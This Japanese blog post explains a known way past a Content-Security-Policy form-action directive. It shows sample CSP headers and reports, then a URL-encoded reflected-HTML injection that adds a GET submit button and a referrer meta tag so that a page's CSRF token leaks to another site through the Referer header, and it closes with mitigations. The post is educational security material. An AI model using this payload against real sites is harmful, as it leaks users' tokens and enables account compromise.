form-actionを使ったCSPのXSS攻撃手法を学んだ

XSS攻撃の検出と軽減手法としてCSP(Content Security Policy)を設定することはよく取られている手法。
しかし、これは決して万全ではないということを改めて学んだ。

CSP(Content Security Policy)をでのXSSの事例を掲載しているBypassa CSP form-action och referrerの記事が興味深かった。

CSP(Content Security Policy)とはMDNにある通り

Content Security Policy の設定とは、Web ページに対する Content-Security-Policy HTTP ヘッダの付加、またそのページ上でユーザエージェントが読み込むリソースを制限する値の設定に他なりません。

ということで指定したポリシーに基づきリソースの取扱うため、XSS Injectionなどの攻撃を軽減できる。

例えば form-action ディレクティブを設定することで許可する送信先を設定できる。

次のようにcspを設定をしている場合

1
Content-Security-Policy:default-src 'self'; form-action 'self'; report-uri /csp-reports/

外部スクリプトを実行しようとすると、実行されないでレポートが送られる。
また、form-action ディレクティブを追加してももちろん、許可サイト以外へのPOSTは拒否される。
(default-srcは基本全ディレクティブに対して設定される)

例えば、次のようなフォームの場合、送信先が許可されていないため送信できない。

1
2
3
4
5
6
7
8
<html>
<body>
<form method="POST" action="https://google.com/">
<input type="hidden" name="csrftoken" value="randomcsrftoken">
<input type="submit" value="scubscribe">
</form>
</body>
</html>

またレポート設定をしている場合は違反事象が報告される。

1
{"csp-report"=>{"document-uri"=>"http://localhost:4567/unsafe/", "referrer"=>"", "violated-directive"=>"form-action 'self'", "effective-directive"=>"form-action", "original-policy"=>"default-src 'self'; form-action 'self'; report-uri /csp-reports/", "blocked-uri"=>"http://google.com", "status-code"=>200}}

次のようにformタグがinjectionされた場合

1
2
3
4
5
6
7
8
9
<html>
<body>
<div><form action=”https://google.com/"></div>
<form method="POST" action="/subscribe/">
<input type="hidden" name="csrftoken" value="randomcsrftoken">
<input type="submit" value="scubscribe">
</form>
</body>
</html>

このフォームがPOSTされるとフォームの内容がすべてGETされURLパラメータに渡される。
もちろんCSPのレポートにも報告される。

このパラメーター付きのGETリクエストがリファラーに送られるとtokenなども任意のサイトに送ることが可能になる。
例えばフォームタグの出現前になにかしらの入力値を出力する箇所があり、そこからhtmlが注入できた場合、
(例としてはありえないけどGETで渡された値をそのまま出力している場合)

1
<a href="/?xss=%3Cinput%20value%3D%22Click%20Me%22%20type%3D%22submit%22%20formaction%3D%22%22%20form%3D%22subscribe%22%20formmethod%3D%22get%22%20%2F%3E%3Cinput%20type%3D%22hidden%22%20value%3D%22%3Cmeta%20name%3D%27referrer%27%20content%3D%27always%27%3E%22%3E">XSS</a>

上記のようなリンクを踏ませて、任意のsubmitボタンをページに注入する。
その場合のコードは以下のようになる。
(わかりやすくするために適宜改行を入れている)

1
2
3
4
5
6
7
8
<html>
<input value="Click Me" type="submit" formaction="" form="subscribe" formmethod="get" />
<input type="hidden" value="<meta name='referrer' content='always'>">
<form action="/subscribe/" id="subscribe" method="POST">
<input name="csrftoken" type="hidden" value="randomcsrftoken" />
<input type="submit" value="scubscribe" />
</form>
</html>

inputタグにはhtml5から追加されたform属性formaction属性formmethod属性を使ってformをpostできるようにする。
また、リファラを送るようにメタタグを追加しているのがキモらしい。

このボタンを押すことで、フォームの内容がリファラを通して任意のサイトに送られる。

1
Referer:http://YOURSITE.COM/?xss=%3Cinput%20value%3D%22Click%20Me%22%20type%3D%22submit%22%20formaction%3D%22%22%20form%3D%22subscribe%22%20formmethod%3D%22get%22%20%2F%3E%3Cinput%20type%3D%22hidden%22%20value%3D%22%3Cmeta%20name%3D%27referrer%27%20content%3D%27always%27%3E%22%3E

この手法はCSPでのレポートは報告されない。
攻撃手法がReflected XSS(反射型XSS)ということで、X-XSS-Protectionを有効にしているとinjectionされたinputボタンは有効化しない。

CSPである程度のXSSは軽減できると思っていたが、それなりに攻撃手法もあるものですね。
header周りのセキュリティも合わせて行うことが必要ということが身にしみる感じになる。

ちなみにGitHubはこのあたりのことから、formタグの前にコメントを入れて少しでも軽減できるようにしているみたいです。

1
2
<!-- </textarea> --><!-- '"` -->
<form accept-charset="UTF-8" action="/kazu69/XXX/search" class="js-site-search-form" data-scoped-search-url="/kazu69/page-data-cli/search" data-unscoped-search-url="/search" method="get">

今回はSinatraで試しました。ソースはこちらにあります

参考にしたページ

Bypassa CSP form-action och referrer
CSP: bypassing form-action with reflected XSS
Protect against HTML-extraction

Comments